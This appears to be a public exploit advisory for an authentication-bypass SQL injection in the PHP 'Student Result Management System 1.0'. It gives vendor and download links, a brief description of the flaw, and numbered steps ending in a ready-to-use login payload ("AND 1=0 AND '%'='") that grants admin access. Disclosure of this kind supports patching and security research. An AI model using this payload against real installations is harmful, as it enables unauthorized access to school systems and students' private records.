32 lines
No EOL
1.2 KiB
Text
32 lines
No EOL
1.2 KiB
Text
# Exploit Title: Student Result Management System 1.0 - Authentication Bypass SQL Injection
|
|
# Google Dork: N/A
|
|
# Date: 11/16/2020
|
|
# Exploit Author: Ritesh Gohil
|
|
# Vendor Homepage: https://projectnotes.org/it-projects/student-result-management-system-in-php-with-source-code/
|
|
# Software Link: https://projectnotes.org/download/studentms-zip/
|
|
# Version: 1.0
|
|
# Tested on: Win10 x64, Kali Linux x64
|
|
# CVE : N/A
|
|
######## Description
|
|
#################################################################
|
|
#
|
|
#
|
|
# An SQL injection vulnerability discovered in PHP Student Result Management System #
|
|
#
|
|
#
|
|
# Admin Login Portal is vulnerable to SQL Injection
|
|
#
|
|
#
|
|
#
|
|
# The vulnerability could allow for the improper neutralization of special elements #
|
|
# in SQL commands and may lead to the product being vulnerable to SQL injection. #
|
|
#
|
|
#
|
|
######################################################################################
|
|
|
|
Kindly Follow Below Steps:
|
|
1. Visit the main page of the Student Result Management System.
|
|
2. You will get an Admin Login Page.
|
|
3. Payload which you can use in Email and password field:
|
|
*AND 1=0 AND '%'='
|
|
*4. You will get Admin Access of the Student Result Management System. |